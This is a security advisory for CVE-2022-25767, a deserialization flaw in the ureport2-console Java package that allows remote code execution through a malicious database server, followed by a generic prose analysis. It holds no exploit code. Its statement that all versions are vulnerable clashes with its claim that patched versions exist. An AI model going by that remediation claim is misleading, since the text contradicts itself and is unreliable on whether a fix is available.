CVE-2022-25767
Overview
This vulnerability is a deserialization flaw (CWE-502) in the com.bstek.ureport:ureport2-console component that arises from improper handling of data received from a database server. The root cause is the unsafe deserialization of objects when connecting to a malicious database, allowing exploitation through crafted serialized payloads embedded in database responses. The affected feature is the database connectivity and data processing module within the ureport2-console package.
Vulnerability Description
All versions of package com.bstek.ureport:ureport2-console are vulnerable to Remote Code Execution by connecting to a malicious database server, causing arbitrary file read and deserialization of local gadgets.
Impact
An unauthenticated attacker with network access to the database connection endpoint can exploit this vulnerability to execute arbitrary code on the server hosting ureport2-console. This enables full system compromise, including arbitrary file read and potential service disruption. The attack requires no user interaction and leverages the network vector (AV:N), with low attack complexity (AC:L) and no privileges (PR:N), resulting in high confidentiality, integrity, and availability impact (C:H/I:H/A:H).
Solution
Users should upgrade com.bstek.ureport:ureport2-console to the latest patched version as specified in the Snyk advisory (https://snyk.io/vuln/SNYK-JAVA-COMBSTEKUREPORT-2322018) and the GitHub reference. The vendor has released updates addressing the deserialization flaw; applying these patches is critical. Detailed patch instructions and version information are available at the referenced URLs. No specific workaround is documented, so immediate upgrade is recommended.

Full Analysis
The vulnerability in the ureport2-console package allows for remote code execution due to improper handling of database connections. Specifically, the issue arises when the application connects to a malicious database server, which can lead to arbitrary file read and the deserialization of local gadgets. This flaw is primarily rooted in the way the application processes user input and interacts with external data sources, enabling an attacker to manipulate the database connection to execute arbitrary code on the server. The underlying mechanism exploits the deserialization process, which can be leveraged to inject malicious payloads that the application inadvertently executes, leading to severe security breaches.
Attack vectors for this vulnerability are varied and can be executed through multiple means. An attacker could set up a malicious database server and lure the target application to connect to it, perhaps through social engineering or exploiting other vulnerabilities in the network. Once the connection is established, the attacker can send crafted data that triggers the deserialization process, allowing them to execute arbitrary code on the server. This could involve reading sensitive files, altering application behavior, or even deploying additional malware. The ease of exploitation, combined with the high privilege level typically associated with database connections, makes this vulnerability particularly dangerous.
The real-world impact of this vulnerability can be profound, especially for organizations that rely on the ureport2-console package for reporting and data analysis. Successful exploitation could lead to unauthorized access to sensitive information, loss of data integrity, and potential downtime of critical services. The business risks include financial losses, reputational damage, and regulatory penalties, particularly for organizations handling sensitive data subject to compliance requirements. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability poses a significant threat, warranting immediate attention from security teams.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the ureport2-console package to the latest version is crucial, as patches often address known vulnerabilities. Additionally, employing network segmentation can limit the exposure of the application to potentially malicious database servers. Monitoring and logging database connections can help identify suspicious activities, such as unexpected connections to unknown servers. Furthermore, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited by attackers.
In conclusion, the vulnerability in the ureport2-console package represents a critical risk that can lead to severe consequences if left unaddressed. Organizations must prioritize the detection and mitigation of such vulnerabilities to safeguard their systems and data. By adopting proactive security measures, including timely updates, network segmentation, and continuous monitoring, businesses can significantly reduce their exposure to this and similar threats, ensuring a more secure operational environment.
